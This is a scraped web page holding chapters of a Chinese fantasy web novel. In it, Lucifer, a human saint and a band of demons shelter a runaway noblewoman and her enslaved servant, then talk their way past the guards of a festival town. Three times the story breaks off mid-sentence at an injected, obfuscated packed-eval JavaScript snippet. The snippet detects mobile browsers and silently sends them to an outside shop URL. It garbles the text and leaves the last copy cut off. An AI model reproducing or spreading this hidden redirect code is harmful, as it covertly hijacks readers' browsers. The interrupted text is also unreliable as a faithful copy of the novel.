他心里嘲讽了一句。 耶和华真是无聊透顶了,现在还不忘恶心他。 但这里是承载回忆的梦境,无论他做什么,一切都只会如过往事实那样进行。 “劳你挂心,我这里一切无碍,所有公务都在顺利进行。”路西菲尔声音轻柔,他对同僚下属向来如 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如果是他们的想法,他们又如何保证,这不是创世神加进他们脑中的想法? 因为祂想,所以他们想。 ……然后呢? 他也得这么想? 拉斐尔不解为何往日温柔和善的上司蓦地沉下脸,却见他转瞬之间又恢复了一如既往的完美微笑:“我知道了,拉斐尔,谢谢你,你先回去吧。” 拉斐尔也知凡事适可而止,点点头,告辞离去。 他走得太快,没发现,在他背后,路西菲尔眸光冷淡。 并不是会如所言一般去水晶天的模样。 他低下头,握起笔继续专注批复面前的汇报。 却乍然脊背一僵,有凛然寒意忽地裹挟住了他。 “写错了。” 仿佛很远又很近的声音响起,随之而来的便是这一页他人苦思冥想写出来的汇报无风自|燃,一寸寸化为灰烬。 “近来多思忧虑,我的路西,确是憔悴了不少。” 路西菲尔感觉到有冰凉之物触碰他的下颌,随即不容抗拒地迫使他转过脸。 “应该让他们知道,不要用琐事来浪费你的时间。” 创世神语调不紧不慢,好似在说一件微不足道的小事。 但路西菲尔知道绝非如此。 余光可见,那一页纸已经只剩个边角。 依稀可见落款,是哪位驻扎天界山脉的天使。 “……我想处理完这一份,便来水晶天求见您。”路西菲尔软下语气。 “我早已允许,你随时可以进入水晶天,路西,你来见我,不需要那些繁文缛节。” 创世神的声音难得能听出一点愉悦,而相对的,那一页纸霎时恢复原样,好端端地摆在路西菲尔桌上,仿佛什么都没发生过。 够了,真是够了。 路西法烦躁不已。 耶和华从来没放弃过让他回忆这些事。 这数千百年来,每当他入眠,必定得想起这些事。 耶和华的用意他无心猜测,只知道,他越来越厌恶祂。 路西法忽地想起伊勒沙代。 想起他因为他一个小小的举动就高兴的模样。 确是不一样。 耶和华怎么会有如此……傻得可怜的时候。 路西法不觉间郁气渐渐消散。 他睁开眼,却见自己不知何时竟然躺在了伊勒沙代怀里。 伊勒沙代小心翼翼保持着动作不知多久,但从他有些僵硬的肢体可见必不会太短。 路西法撑起身,莫名有些愧疚,不自然道:“怎么不叫醒我?” 伊勒沙代活动了下身体,微微垂下眼,不好意思道:“无妨的,我……自愿的。” 路西法握起他的手,正要帮他一探,车壁却突然被剧烈地拍打:“救命!救命啊!” 路西法一愣。 谁……求救到撒旦门前了? 15. 白璧有瑕 那声音听着像是个少年,因为紧张恐惧有些嘶哑破音。 约里马上打开车门,就见一个少女抱着怀里受了重伤的高壮男人,满脸泪水地靠在门边,一旁正有几头狼虎视眈眈。 约里回头冲阿斯蒙蒂斯喊道:“有火种吗?” 阿斯蒙蒂斯正在兴致勃勃地打量那少女和她怀里的男人,闻言一愣,没反应过来:“……啊?” 且不说他与路西法,就说三目飞翼狮在这儿,要震慑狼群,还用得着火种? 约里白他一眼,赶忙跳下车,冲到那少女身边,帮着她扶起那男人,一边警惕着狼群一边往马车上去。 他们也算幸运,那狼群竟然只是焦躁地原地踱步,不时嚎叫几声,却始终没有上前来攻击。 竟像是在害怕什么似的。 到了车边,约里没好气道:“搭把手行不行?” 阿斯蒙蒂斯这才过来。 只是他比约里想的有用太多,他瞧着不过也只是个高挑的青年,但约里和少女两个人才扶得动的高壮男人,他一只手就轻轻松松拎了起来,像捉了只兔子似的随手放在外间一侧。 考虑到那高壮男人俊朗的脸,阿斯蒙蒂斯贴心地帮他调整到一个舒适的姿势。 少女凑到他身边,小心翼翼地擦拭他脸上的血迹,声音颤抖地呼唤他的名字:“塞里加,你醒醒,不要吓我……” 阿斯蒙蒂斯支着下巴,适时地清咳一声:“美丽的小姐,你的这位朋友伤得不轻,需要立刻得到救治哦。” 少女无助地望过来,傻愣愣道:“可是这里是野外,怎,怎么办……” “如果你需要,我愿意为你效劳。”阿斯蒙蒂斯一本正经道。 约里意外地看他一眼,没想到阿斯蒙蒂斯一副轻浮浪荡的样子,竟然还是个医师? 不过人命关天,他催促着阿斯蒙蒂斯别浪费时间,赶紧去帮塞里加看看伤势。 正在阿斯蒙蒂斯去看塞里加时,内间的门打开,少女抬头,便见路西法斜斜倚在门边,她不禁呼吸一滞,只觉心魂一震。 她见过太多美貌的人类,但她所见的,纵使加上阿斯蒙蒂斯,也没有一个能与面前的青年相比。 她转头又见伊勒沙代,他与路西法不同,并非有那般摄人心魄,美丽却锐利逼人的容貌,而是温润平和,望之可亲,能让所见者从心底里平静下来。 少女见他们从内间出来,便知他们才是这马车的主人,连忙道:“谢谢两位先生,我叫……图雅,这是我的朋友塞里加,我们的车队在这里遇到了狼群,就走散了,还好遇见你们,不然我们只怕就要葬身狼腹了。” 约里正担心着路西法对她也不客气,脑中飞速思考一会儿要如何找补,却许久不见他回答,疑惑地看去,却见路西法饶有兴趣地打量着图雅。 约里有些惊讶。 图雅的确是个很漂亮的姑娘,但路西法看上去完全不像会对美丽姑娘感兴趣的样子。 只是他看得确实太久,久到图雅都有些不自在,伊勒沙代上前一步,不动声色挡住他的视线,对图雅温和道:“举手之劳罢了,不必言谢,这里离最近的城镇还有段距离,若你信得过,我们可以送你们过去,你们也好再联系车队。” 图雅连忙感激地点点头:“我们素不相识,您却愿意救我们,我怎么还会怀疑您呢?” 说实话,她也别无选择,她不能眼睁睁看着塞里加没命。 路西法收回视线,看向伊勒沙代,眉心微挑:“我没听见我说过同意。” “你若不想救他们,方才就不会允许这马车停下来。”伊勒沙代镇定自若道。 图雅听到这话,心里悄悄放松一些,她也知道,他们二人出现在这荒郊野外,着实是有些奇怪,也许路西法就是因此才多打量她呢? 路西法轻哼一声,对她道:“进来吧,给我这下属腾出地方施展医术。” 阿斯蒙蒂斯闻言,心下奇怪,他有什么医术? 他只是个有法力的魔王而已。 简单粗暴一个治疗法术下去不就好了? 他可还真不会人类医师那些翻这里看那里推断伤处的技术。 不过所幸他还记得临走前别西卜的叮嘱——“陛下说什么就是什么,一定要配合,不要自作聪明”。 于是他摆出严肃的模样,点头附和路西法所言。 图雅心里挂念塞里加的伤势,自然没有二话,约里和阿亚也自觉地站到另一边,一时间,阿斯蒙蒂斯身边空空荡荡,他背对着众人,反复回想自己为数不多那几个医师情人的日常动作,装模作样地上手。 图雅进了内间后,还惦记着路西法方才的关注,谨慎地坐到角落里,伊勒沙代递给她一杯热茶,自己则先饮下同一壶中的另一杯。 图雅见状,心知他这是为让她安心,对他更添几分好感,但目光落到他耳边时,不禁一怔,难免露出惋惜。 这么好的人,怎会有个如此低微的出身? 便如同白璧有瑕,任其他部分再如何光彩照人,也不能值倾国之价。 她年纪小,面上藏不住情绪,伊勒沙代虽看见,却只视若无睹。 这十多年里,他所遇的如她这种目光不可胜数。 路西法一直在观察她,自然发现她的表情变化,懒懒往后一靠,道:“瞧他做什么?你那奴隶,不也是祭山族人?” 图雅不太高兴,反驳道:“塞里加虽然也是祭山族人,但我从来不认为他是我的奴隶,他是我最信任的人。” “所以才带着他一起偷跑出来?” 图雅身体一僵,瞪圆了眼睛看着路西法,半晌才结结巴巴道:“你、你说什么呢……” 她目光闪躲,极为心虚。 路西法似笑非笑:“你不认得我,但我却认得你,狄曼图雅,我见过你父亲。” 狄曼图雅一愣,惊讶之后,却又觉得合理。 路西法一看就身份不凡,认识她父亲,好像也不奇怪。 但她敢肯定,她从未见过路西法,他这般的人物,只要见过,绝不会忘的。 她忐忑道:“那你……不会告诉我父亲吧?” 路西法回以一笑。 她着急起来:“不能告诉他,我,我倒不会怎么样,但是他一定会杀了塞里加!” “哦?你这么在乎他?”路西法眸中兴致渐浓。 狄曼图雅坚定地点头:“他救过我很多次,我一定会保护他的。” “但愿你能始终如一。”路西法语气颇为奇异,“你今年十六了吧?还差十五个月,你就要成年了。” 他这都知道? 狄曼图雅对他渐渐没那么怀疑。 “你的成年礼可是大事,到时候,我会亲自来送你一份大礼。”路西法笑吟吟道。 她直觉他没安好心。 路西法却已懒懒散散扬声道:“阿斯,治好了吗?” 阿斯蒙蒂斯闻言,停下了所有装模作样的假动作,干脆利落地丢了个治疗法术,面前的高壮男人身上所有伤势霎时止住,甚至都有了愈合的迹象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091859|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞里加低低呻|吟一声,醒转过来。 狄曼图雅惊喜地跑到他身边,一时泪如雨下:“塞里加,你没事,太好了……我还以为,我差点害死你……算了,不说那些丧气的话了。” 塞里加艰难地撑起身,低眉顺眼回道:“为您而死,是我的职责所在。” 狄曼图雅泪水还挂在脸上,已因他又恼怒:“你怎么还说这种话!你真是要气死我了!” 塞里加不为所动,仍是恭敬又冷淡。 阿斯蒙蒂斯颇为新奇地来回打量这两人,眉梢眼角都兴致盎然,不时还帮腔两句,但又不拘帮谁,偶尔一句帮着狄曼图雅,下一句可能又帮着塞里加。 路西法也不阻止他这拱火行为,只看着他几句又将两人挑得各自生气,狄曼图雅甚至坐到了另一边去,不想再理塞里加,阿斯蒙蒂斯便又过去劝解她。 “路西,你好像对她很有兴趣。” 伊勒沙代冷不丁开口,微微侧头看他:“她有什么特殊之处吗?” “我可不知道。”路西法竟又意味不明地笑起来,“只是我看到他们两个,就善心大发,恨不得一直护着他们。”直到十五个月后的那天。 他复又看向伊勒沙代:“你也别觉得事不关己,到时候,你肯定也会在她的成人礼现场的,说不得还是不可或缺的重要嘉宾。” “那就待到那一日再议吧。”伊勒沙代倒是未有因他的话有任何心情波动。他如今法力不全,自然没有预知未来的能力,却依旧沉稳镇静。 他们谈话间,阿斯蒙蒂斯与狄曼图雅也聊出了几分熟悉。 “你们要去莫格加荒原?”狄曼图雅有些惊讶,但又兴奋起来,“我也想去!我和你们一起去!” 饶是阿斯蒙蒂斯这般自来熟,也被她沉默了会儿。 莫格加荒原对于人类何其危险,她怎么敢就跟刚认识的人一起去的? 塞里加坐起身,目露焦急:“小姐,您不能去那里!您可是……怎么能去那么危险的地方!” “我会小心的。”狄曼图雅毫不在意。 “不行!”塞里加挣扎着想站起来,“您绝不能去那么危险的地方!” “你刚刚不是还说她是主人,你什么都听她的吗?”阿斯蒙蒂斯找准时机插嘴。 塞里加一时顿住,狄曼图雅有了外援,更有底气,道:“对呀,那你就得听我的,我想去就去,你也不许偷偷想办法告诉我父亲!否则,否则我……” 她说不出来,就看向阿斯蒙蒂斯,他体贴地接上:“否则狄曼图雅小姐宁可死在外面。” “对!如果你敢背叛我,那我宁可自尽!”狄曼图雅仰着头,气势汹汹。 塞里加还要再说什么,狄曼图雅索性跑进内间,狠狠地关上了门。 但她气恼过后,忽然想起来,内间还有个让她心里发毛的路西法,于是只好讪讪地蹲到角落里。 所幸路西法现在没兴趣理她,自顾自地翻阅一本陈旧厚重的古书,在他身旁,伊勒沙代安静地提笔在写什么。 狄曼图雅自己待了会儿,又觉有些无聊,她悄悄凑近伊勒沙代,压低声音:“你们……是不是要进天界山脉?” 伊勒沙代行笔未停,湛蓝双眸只微微抬起瞥向她。 狄曼图雅见他没有否认,一下子有了自信。 但她似是又想到什么,看向伊勒沙代的目光有些复杂。 “抱歉,我或许有些鲁莽,但我没有恶意,我知道的…… “——没有一个祭山族人不想回到天界山脉。” 16. 否极泰来 在百年以前,这片土地上的人类并不知道世间还有个祭山族。 直到莱洛温的军队在大祭司的祝祷下长驱直入天界山脉,在天界山脉腹地遇见了一个神秘的族群,领队的将军做主,将他们称为“祭山族”。 祭山族人世世代代居住在天界山脉之中,衣食无忧,虔诚侍奉神明,并始终遵守着代代相传的规定——永不踏出天界山脉。 千百年来,从无更改。 然而自莱洛温先遣部队的马蹄踏进祭山族领土的那一刻起,这一切注定要被彻底颠覆。 繁华热闹的山外世界不需要死守清规戒律,人们可以随意去往任何地方,去认识不同的人,见识不同的景。 一颗颗年轻的心脏被挑起激动,长老的的万般阻拦都无济于事。 随着第一个小心翼翼踏出天界山脉的祭山族人的欢呼雀跃,几乎所有祭山族人都选择了迫不及待地离开这座困住他们的山脉,并和莱洛温人合作,打通了进入天界山脉的通道。 那时的所有祭山族人都是满怀憧憬的,如此广阔的天地,怎会不比山脉一隅光明呢? ——与如今几乎所有祭山族人所想却正是相反。 不过…… 伊勒沙代放下笔,温和道:“狄曼图雅小姐,不是所有祭山族人都会这样想。” 狄曼图雅明显不信。 但她想到,往日那些祭山族人也从来不敢当众流露出对重回天界山脉的渴望,否则必然会招致重刑,于是也体贴地没有继续说下去,只当伊勒沙代是不敢承认。 “那你呢,你并非祭山族人,为何要涉身险境?”路西法不知何时放下了书,支着头懒懒地看着她,“该不会……又是为了你那奴隶?” 狄曼图雅面色一凝。 路西法见状,嗤笑一声,嘲弄之意溢于言表。 “塞里加真的很好,我,我想为他做一些事,我想不到其他的了……”狄曼图雅努力地解释道,“我知道一条进入天界山脉腹地的安全小路,绝不会有问题!” 她信誓旦旦,路西法却不以为然,甚至又拿起了书,顺口使唤伊勒沙代:“倒茶。” 伊勒沙代果真为他斟茶,路西法随手接过来,水面上还点缀着一朵悠悠舒展的细嫩碧色花蕊,杯中温度正好,浅酌还能品出一丝清冽甜意,浓淡适中,恰中和了苦涩。 路西法颇为意外,看不出来,伊勒沙代还有这种手艺。 路西法向来挑剔,伊勒沙代从未与他相处,竟然能让他满意。 伊勒沙代见他看过来,坦然回望,一双湛蓝眼眸宁静温柔,倒是路西法先移开眼。 狄曼图雅目光在他们之间扫过,撇了撇嘴。 她觉得路西法对伊勒沙代态度相当糟糕,也就是伊勒沙代性情温柔了,换做旁人哪能忍。 不过她也不觉得惊奇,她见过太多蔑视祭山族人的贵族,哪怕对方并非谁的奴隶,也是随意呼来喝去,甚至戏弄取乐。 若祭山族人敢反抗,只会招来更变本加厉的折磨。 这样的人太多了,以至于试图制止的她才是常被说教的那个异类。 狄曼图雅想到这里,又忍不住心情低落,下定了决心。 塞里加那么好,不该留在这里被所有人处处奚落羞辱。 她一定要送塞里加回家。 也不知是塞里加倒霉还是狄曼图雅运气不好,原本伊勒沙代几人的行程还算顺利,但自他们加入后,约里却屡屡能看见有猛兽试图袭击马车。 虽然都如那些狼一般最终都不敢靠近,只能焦急地追赶嚎叫。 他后知后觉自己方才可能的确是反应过度,有些歉疚地去看阿斯蒙蒂斯,却见他还在乐颠颠地围着塞里加问东问西。 塞里加本念着救命之恩,尽量知无不言,但阿斯蒙蒂斯属实是有两分颜色就敢开染坊的无法无天又厚脸皮的性格,越问越深入。 终于,在阿斯蒙蒂斯问出“有没有和谁上过床”后,塞里加沉了脸色,咬牙怒道:“请您自重。” 阿斯蒙蒂斯还笑嘻嘻道:“我是医师,这是必须要了解的内容,否则怎么好继续为你治疗?对了,你喜欢什么类型的床伴?” 约里实在听不下去,冲到他们中间,在塞里加发怒之前将阿斯蒙蒂斯半拖半拽地带走,一边还对塞里加歉意道:“不好意思,他这个人就是嘴欠,请您原谅。” 他本以为自己会拖不动阿斯蒙蒂斯,不料阿斯蒙蒂斯竟然十分顺从,还主动缠上约里的胳膊,见约里看过来,他眨了眨眼:“吃醋了?” 约里沉默片刻。 他想把阿斯蒙蒂斯扔下去。 但是阿斯蒙蒂斯及时看出来,将他的胳膊抱得更紧。 二人正僵持着,塞里加看了看马车外,犹豫道:“二位......你们这车,可以不需人驾驶么?” 阿斯蒙蒂斯抽空回头抛个媚眼:“当然了,这几匹......马,都是老马,聪明着呢。” 不知他哪个词叫“老马”们动了气,又不敢颠着内间的路西法,只能争相嘶鸣,约里猜测它们大约是在骂阿斯蒙蒂斯。 从阿斯蒙蒂斯变了的表情来看,应该骂得挺难听的。 阿斯蒙蒂斯顾忌着在人类思维里和牲畜对骂这一行为一般出自于神智有障碍的病患,只能忿忿地忍下,暗自想着等到了没人的地方一定要狠狠教训教训它们。 太过分了! 仗着自己是陛下的座驾,竟然敢骂他是到处发|情的…… 阿斯蒙蒂斯越想越觉得不能忍。 这一路上不巧的事太多,所以邻近傍晚时突然乌云沉沉,像是要迎来倾盆暴雨,似乎也不算奇怪。 三目飞翼狮识路能力极强,判断方位后便奔向了最近的格罗多城。 狄曼图雅拿出准备好的地图,指着一处兴奋道:“我知道这最近的格罗多城,它虽然不大,但可热闹了,尤其是最近几日,恰好邻近这片地区特有的浴光节,据我所知,这段时间附近几个小城镇的人都会赶来这里,我们混在其中绝不会显眼。” 她已经很自然地把路西法和伊勒沙代归为她的同行队友,将自己的计划和盘托出。 “在这里我们可以尽量多准备些要用的东西,尤其是药,天界山脉里面的猛兽毒虫数不胜数,最好能搜集到的所有解毒驱虫的药都备一份。”末了,她看向伊勒沙代,委婉道,“人多的地方口舌多,若是需要的话,我可以帮忙遮掩一下。” 伊勒沙代还未回答,路西法已道:“行事坦荡,品行磊落,无愧于人,更无愧于心,有什么可遮遮掩掩的?” 狄曼图雅无语。 ......他人有意为之的恶,岂会因为对方是个好人就罢休? 她只觉得,路西法不是不知道,他就是故意这样说,迫使伊勒沙代直面恶意。 她正为伊勒沙代不平,却听伊勒沙代竟也委婉拒绝。 狄曼图雅不再强求,撇撇嘴,心里嘀咕,伊勒沙代未免也太信任他身边那个男人了。 别人不知道,她还能不知道? 都和她父亲有来往了,还能是什么好人? 伊勒沙代看着年纪不大,或许从前未有经历过,才会被他诓骗。 一行人各怀心思中,三目飞翼狮带着马车飞奔到达了格罗多城。 狄曼图雅兴奋地打开车窗,随即疑惑地皱起眉,关上了窗。 “城门口有守卫在查检来客?” 路西法又翻一页,头也不抬,便道出了她的疑虑。 狄曼图雅忧心忡忡:“我专程打听过,以往浴光节期间从来没有过查检……现在伪装已经来不及了,怎么办?” “没办法?那就把你那奴隶交出去,说是他唆使你离家出走,保管没人会计较你的过错。” 路西法太有气人的本事,悠悠几句话就叫狄曼图雅咬牙切齿,却又无可奈何。 她反驳不了路西法的话,她知道,一旦她和塞里加被抓住,那就必将是这种结果。 没人会当真在意究竟是谁策划了这一次出逃,承担所有罪责和后果的都只会是塞里加。 而她,顶多被说一句“年轻贪玩”。 狄曼图雅咬紧下唇,眉头紧锁。 路西法看似仍在专心致志地看书,而从伊勒沙代的视角看过去,却能清清楚楚看见他微微翘起的唇角。 伊勒沙代眸光微动,转头看向愁容满面的狄曼图雅,温和道:“不必担心,你让塞里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091860|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加到内间来,他们不会入内查检的。” 狄曼图雅一怔,她方才分明看见格罗多城的守卫查检了每个人,但伊勒沙代总有种难以言说的让人无条件信服的能力,让她生不出质疑的心思。 她将塞里加带到内间,门开时,阿斯蒙蒂斯还好奇地往内探头探脑,被约里及时地按了回去。 狄曼图雅和塞里加明显还没和好,她将他带进来后便径直坐到一边,别过脸不说话。 塞里加缓慢吃力地向他们行礼,路西法懒懒散散斜躺着,坦然受了他这一礼,倒是伊勒沙代上前扶起他,笑道:“不必多礼,我们并非什么大人物。” 塞里加明显不太信。 他还要感谢路西法和伊勒沙代,却听马车外已经传来了守卫靠近的动静。 这下就连还在置气的狄曼图雅都紧张起来,仔细听着门外的动静。 这马车虽已尽力低调,但对于人类来说依然十分惹眼,守卫见了,便谨慎三分,不敢像对其他平民那般粗暴拉扯,轻轻叩了叩车门,道:“我们是格罗多城的守卫,城主有令,近日要查检所有来客,还望大人们配合。” 为首的守卫话音未落,就见那几匹壮硕的骏马挨个儿打起了响鼻,他不知是否自己的错觉,仿佛从它们眼中看出了……鄙视? 他莫名懂了它们的意思——你也配查检这架车? 守卫咽了口口水。 当真是有权有势的大人,连座驾都如此有气势。 他也不敢催促,只等着过了好一会儿,那车门才打开。 守卫小心翼翼地从下往上看,一旁衣着朴素的年轻男女自不必说,那中央的俊美青年却是衣饰极尽精美华贵,一双眼风流含情,微微下撇时眉梢眼角带着说不出的傲慢,他的目光在守卫脸上转了一圈儿,霎时有些嫌弃,不耐烦道:“查?你们城主未免太拿自己当回事,误了我家主人的时辰,他是有几条命够赔的?” 狄曼图雅在内间听得更加紧张。 外头那个变|态说话怎么突然这么嚣张?要是激起这守卫的脾气,当真要细查怎么办? 她越发紧张,守在内间门口,不住左右看哪里还能躲人。 这一看,便见伊勒沙代和路西法与她相反,俱是气定神闲,还有闲情逸致讨论手边靠枕的面料与绣纹是否搭配得不够好。 ——虽然主要是路西法鸡蛋里挑骨头,伊勒沙代只负责安抚他就是了。 她一下心里颇为无语,但莫名地竟然放松了不少。 好像有这两人在,当真任何事都不成问题了。 在她心里嘀咕时,还留神着外面的动静,就见车外那守卫听罢阿斯蒙蒂斯的话,竟然真的唯唯诺诺地退了下去,摆摆手示意后面的守卫放行。 狄曼图雅瞪大眼睛:“他,他都不多问两句吗?不是说城主下了命令?” 路西法哼笑一声,不想回答这么幼稚的问题,伊勒沙代好心解答:“我们的马车一看便知不是一般规格,阿斯又品貌不凡,足以让他认为我们真是能把城主都不放在眼里的权贵,那么若他还执意严格奉命查检,得罪了我们,最后必然会被推出来顶罪,还不如放行。” 那届时他们在城中再有什么事,也是城主担着,落不到他头上。 狄曼图雅恍然大悟,随即高兴起来。 她打小运气差,平地也能摔跤,喝水都能险些呛死,但这次她好像……否极泰来了? 有伊勒沙代和路西法在,她突然对自己这一趟行程充满了信心。 马车缓缓驶入格罗多城中,阿斯蒙蒂斯一边拉着缰绳装作驾车,一边沿途抛着媚眼,最终在城中最大的旅店处停下,在侍应喜悦的招呼中停入内庭。 狄曼图雅迫不及待地跳下车,塞里加放心不下,也追了出去。 路西法不紧不慢地收起书,他往来人间太多次,对人类的城镇早就不再好奇。 难得的是,伊勒沙代也还安稳地坐在一旁,陪他收拾东西。 路西法目光落在他握着一支杆直润亮细笔的手上,忽地弯起唇:“你发现了吧?” 伊勒沙代微微抬头看向他。 “那个奴隶,叫什么来着……塞里加? “他看了你一路。” 17. 绕指缠留 “我知道。”伊勒沙代微微颔首。 塞里加或许自以为很隐蔽,但其实根本瞒不过他的感知。 塞里加的目光很复杂,不过并无恶意,所以他也没有介怀。 “同病自然相怜,说不定,他不久后就要找你谈谈心了。”路西法似是想到什么有趣的场面,笑容颇显意味深长。 伊勒沙代对此没什么兴趣。 他更在意路西法似乎默认当真要与狄曼图雅一同进入天界山脉的事。 路西法自然不会真是一片好心,因为担心她的安危所以送她来回,其中只怕还有更深层次的原因。 ……或许,他一开始同意和他一起去莫格加荒原,其实原本也是因为打算要进入天界山脉。 伊勒沙代心念百转,垂下眼睫,试探道:“塞里加看似对狄曼图雅小姐非常疏离,实则很是关心,他这段时日应该会忙着和狄曼图雅小姐一起准备东西。” 路西法瞥他一眼,似笑非笑:“没关系,这一路去天界山脉,你们有的是机会独处。” 他不吝于告诉伊勒沙代,他就是要进天界山脉。 不过他更好奇,伊勒沙代为何看上去反而不太愿意去那个狄曼图雅所说的祭山族遗址。 难得伊勒沙代流露出偏向于个人的情绪,路西法不由得多想。 莫不是……祭山族遗址里面有什么东西? 那他可更要去了。 阿斯蒙蒂斯一到人多的地方便如鱼入水,霎时活了过来,忙里忙外,他年轻俊美又能说会道,还出手不凡,不一会儿便和旅店的侍应混得熟络,连对方三十来岁了因还惦记着初恋情人所以一直未婚的事都套了出来。 更不必说格罗多城筹备浴光节出了岔子的事。 “这浴光节本是连着七天,白天日光照拂,夜晚满城燃灯,与星月光辉相映,往年这段时间,纵使偶尔天有不测风云,凑出几日晴天也不难,可唯独今年,总是阴雨绵绵,甚至经常乍然来一场倾盆暴雨,别说正式举办浴光节,就是准备物件也成问题。 “而且…… “我听说,城主府里那些特制的长明灯,每夜都突然自|燃!那烛火,又绿又蓝,就像,就像死人身上的那种……” 阿斯蒙蒂斯绘声绘色地重复,还特意模仿侍应紧张害怕的神情动作。 他觉得还挺有意思的。 人类怎么能整出那么多新奇的花样? 反正这一看就不会是恶魔的手笔。 若是哪个恶魔在人间玩这么弯弯绕绕的花招,传回地狱可是要被笑死的。 狄曼图雅想的却不是这些,她眉心紧皱:“不对呀,那为何要严查入城的人?” 阿斯蒙蒂斯一噎,道:“……兴许这两件事之间没有关联?” “在这个节骨眼上,每个人心里最在意的都只会是浴光节的事,格罗多城主的任何命令都会被多加揣测,他现在严查入城的人,明显是认为这些事不是意外,而是人为,并且将嫌疑锁定在外来的人身上,只是我不明白,若是外来人捣鬼,那他们不该早就潜伏在城中,才能暗中作怪吗?为何查的却是现在才入城的人呢?”狄曼图雅摇了摇头,认认真真地分析,心里却更疑惑。 她不觉得这两件事之间没有联系。 对于这片地区的居民而言极其重要的浴光节出了那么多非比寻常的岔子,往小了说都是格罗多城主管理不当,往大了说…… ——天罚。 狄曼图雅心里一凛。 有一桩如此要紧的事横在面前,格罗多城主所下的任何命令都该与之有关才对。 “因为他现下最关心的不是谁破坏了浴光节,而是谁会发现有人在破坏浴光节。” 这声音如主人一般慵懒,却让阿斯蒙蒂斯眼睛一亮,豁然开朗:“对啊,查检入城的人,一定是为了及时发现有没有人是来查这件事的!” 而这个人必然有极高的地位,能直接惩处格罗多城主。 ……等等。 那他们在门口的表现,不会让格罗多城主以为,他们就是来调查的大人物吧? 完蛋,那他岂不是又闯祸了。 阿斯蒙蒂斯面色一下子有些尴尬。 伊勒沙代微微垂眸,体贴地安抚道:“若我们被当作前来探查的人,如今也不会能安稳地坐在这里,尽可放心。” 若认为他们是来探查的人,格罗多城主一定会想尽办法让他们只能待在城主府。 不过,他们一行应该比来探查的人可怕多了。 狄曼图雅听罢,却是又有些紧张。 莱洛温之内能直接惩处格罗多城主的……应该,都认识她。 抓她回去,顺手的事,还算立功一件。 她不自觉地握紧手指,低声道:“我们得快点收集好东西,趁早离开,这几日城里恐怕也不太平,留得越久就越危险。” 约里被她的情绪感染,认同地点了点头,忙道:“狄曼图雅小姐,你告诉我们需要哪些东西,今晚咱们就分头去采购。” 狄曼图雅早有准备,只是她拿出来的清单长得约里眼前一花。 他硬着头皮接过来看了看,呐呐道:“……呃,抱歉,我不太识字。” 这清单上的东西,他真是认不出几个。 阿斯蒙蒂斯一下来了劲:“这有什么,我教你啊,我们俩一路,我照着单子一个个教你。”他眨了眨眼,暗示之意满满。 约里的神情顿时变得一言难尽,很是嫌弃。 但……似乎,也没有更好的人选。 阿亚毕竟不算活人,伊勒沙代嘱咐过,这段时间她不能长时间在人群中露面,避免被神职注意到,若误当成需要驱邪除魔的对象就不妙了。 先生明显是要同那个美貌妖异的青年一起的,反正这一路来,约里也能看出,先生始终紧紧盯着他,他虽不解,但相信先生这么做一定有他的理由。 而狄曼图雅自然是要和塞里加一起,他再迟钝也能看出来他们就算闹了矛盾也是形影不离的。 那就只剩下阿斯蒙蒂斯了。 阿斯蒙蒂斯倒是非常积极且乐意,哪怕约里表现得有些不情愿。 狄曼图雅将需要采购的东西分成几个部分,分别交给所有人,晚间再出门。 虽然浴光节不能按时开展,但格罗多城中的晚市却依旧如往年那般热闹,且夜色之下,更便于他们掩藏外貌。 安排完之后,狄曼图雅便急匆匆地去寻人打听,其他人也各自散去。 伊勒沙代偏过头,看向路西法:“我还以为,你会抗拒她的安排。” “怎么,在你心里,我无时无刻不在挑刺,给所有人找不自在?”路西法眉心微挑,似是颇为不满。 ……很难说不是。 伊勒沙代沉默。 好在路西法并未纠结于此,或者说,他对于自己在旁人心中的形象完全不在意。 “你难道没有想过,为什么格罗多城中会出现这样的事?” 路西法凑近他,食指勾出他一缕长发,卷在指间玩弄。 伊勒沙代垂眸看着他白皙细瘦的指节,却想起这双手有何等的杀伤力。 顷刻之间,就能叫这人间天翻地覆。 只在这一刻,显得如此美丽又无害。 见他迟迟没有回答,路西法霎时没了兴趣,松开手就要抽身离去。 但在他指尖滑落的最后一刻,伊勒沙代忽地伸手,掌心覆在他手背上,手指紧紧将它扣在胸前,他的体温似乎要透过薄薄的手背皮肤,贯入路西法的骨骼。 胸口是人类的致命弱点。 路西法感受到了掌下躯体之内蓬勃的心跳,不合时宜地如此想。 只要他想,曲起手指,这个人类的心脏就会赤|裸|裸地落入他掌中,不再能跳动,变成一件死物。 然后随着时间,一点点腐朽,直到化成尘土。 再多壮志雄心,也只能从此道消。 所以伊勒沙代是一个愚蠢的人类。 更是不合格的圣子。 路西法却没有抽回手。 天国生灵一贯是同样的,仁慈善良,温柔宽容,无条件听从于神明的旨意。 路西法称之为“空心”的。 圣子应该也是这样。 但是被装在了人类的身躯之中,生长在人类复杂纷乱的社会环境里,沾染上人类的七情六欲。 他好像,也不一样了。 变得…… 路西法拥有万千造物中最敏锐的思维,最广博深刻的认知,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 